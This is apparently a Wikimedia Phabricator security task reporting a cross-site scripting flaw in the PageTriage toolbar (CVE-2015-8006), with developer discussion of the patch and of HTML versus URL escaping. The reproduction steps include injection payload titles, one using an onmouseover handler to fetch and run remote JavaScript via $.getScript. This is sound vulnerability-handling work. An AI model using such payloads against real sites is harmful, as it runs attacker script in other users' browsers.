Page MenuHomePhabricator

XSS possible in PageTriage toolbar
Closed, ResolvedPublic

Description

The page title in the URL of the history link in the PageTriage toolbar is not URL encoded or escaped, allowing possible (though unlikely to successfully exploit) XSS.

Steps to reproduce:

  1. Create a page with the title: "onmouseover="alert(0);"" (or create a title with a URL to external JS, i.e. "onmouseover="$.getScript('http://127.0.0.1/t.js')"")
  2. With an account that can patrol pages, visit the page and open the info tab
  3. Hover over the "show full history" link

Related Objects

StatusAssignedTask
ResolvedNone
ResolvedCatrope

Event Timeline

Maniphest changed the visibility from "Public (No Login Required)" to "Custom Policy".Sep 1 2015, 11:22 AM
Maniphest changed the edit policy from "All Users" to "Custom Policy".
Restricted Application added a subscriber: Aklapper. · View Herald TranscriptSep 1 2015, 11:22 AM
Grunny created this task.EditedSep 1 2015, 11:22 AM
Grunny updated the task description. (Show Details)
Grunny added a project: Security.
Grunny changed Security from None to Software security bug.
Grunny edited subscribers, added: Grunny; removed: Aklapper.

Quick patch to URL encode the title:

Krenair added a subscriber: Krenair.
Restricted Application added a project: Collaboration-Team-Triage. · View Herald TranscriptSep 1 2015, 2:24 PM
Grunny updated the task description. (Show Details)Sep 1 2015, 2:38 PM
Grunny updated the task description. (Show Details)Sep 1 2015, 7:12 PM
csteipp triaged this task as High priority.Sep 1 2015, 7:17 PM
csteipp added a subscriber: Catrope.
csteipp added a subscriber: csteipp.

Roan, can you have someone on your team work on this?

Patch looks good, but ext.pageTriage.views.toolbar needs an explicit dependency upon mediawiki.util, but that was already a pre-existing issue.

Patch looks good, but ext.pageTriage.views.toolbar needs an explicit dependency upon mediawiki.util, but that was already a pre-existing issue.

I take that back...Roan is looking into it more.

Patch looks good, I just deployed it.

That part of the PageTriage code is a nightmare, it's very hard to audit for security. Everything is raw HTML several levels up every imaginable call stack. The template uses <%= extensively, which does no escaping and allows for raw HTML injection, and lots of raw HTML is deliberately injected in those places. I audited that file and I think every usage in it is safe except for the unescaped URL (although there are probably a lot of i18n messages that are unintentionally made HTML-capable. I'm gonna take a pass to fix the worst of it.

Krinkle added a subscriber: Krinkle.EditedSep 3 2015, 3:51 AM

Quick patch to URL encode the title:

The problem is not lack of url encoding, it's lack of html encoding. URL encoding was also lacking, and doing that will fix certain current PageTriage bugs (e.g. some pages with quotmarks weren't working properly). But from a security perspective this isn't solved yet.

The problem is that the produced history_link value is inserted directly in an HTML string of the ext.pageTriage.articleInfo.html template:

		<a href="<%= history_link %>"><%= mw.msg( 'pagetriage-info-history-show-full' ) %></a>

This value needs escaping. I don't know right away what template library is used here. Looks custom. Uses a POST request to a GET api to retrieve html and then uses Underscore.js' template() function. To escape the url, use mw.html.escape() or underscore's <%- syntax (note the dash).

Grunny added a comment.EditedSep 3 2015, 5:29 AM

Quick patch to URL encode the title:

The problem is not lack of url encoding, it's lack of html encoding. URL encoding was also lacking, and doing that will fix certain current PageTriage bugs (e.g. some pages with quotmarks weren't working properly). But from a security perspective this isn't solved yet.

The security issue is caused by doing neither HTML encoding or URL encoding. In the href attribute in this case if you either URL encode with the MediaWiki rawurlencode method or HTML encode the attribute contents, it is safe (barring any javascript: URLs or whatnot), and additionally doing the other adds correctness to the output rather than improving the security in a significant way (beyond HTML escaping ensuring it's escaped by default if someone changes the behaviour of setting history_link in the future). So, URL encoding does fix the security issue in this case (correct me if I missed something) so the site is no longer vulnerable now that the quick patch is deployed, but yes we should definitely also HTML escape for correctness and as a best security practice. With that in mind, amended patch:

:)

csteipp closed this task as Resolved.Oct 16 2015, 6:11 PM
csteipp added subscribers: ProgramCeltic, Ejegg.

We'll announce this later today.

We'll push

into gerrit. is a great addition (I agree with @Grunny on that), but since the vulnerability is already fixed, let's push that as a public, hardening patch.

demon changed the visibility from "Custom Policy" to "Public (No Login Required)".Oct 16 2015, 10:34 PM
demon changed the edit policy from "Custom Policy" to "All Users".
demon changed Security from Software security bug to None.

This was assigned CVE-2015-8006

Change 250830 had a related patch set uploaded (by CSteipp):
Add extra escaping in template

https://gerrit.wikimedia.org/r/250830

Change 250830 merged by jenkins-bot:
Add extra escaping in template

https://gerrit.wikimedia.org/r/250830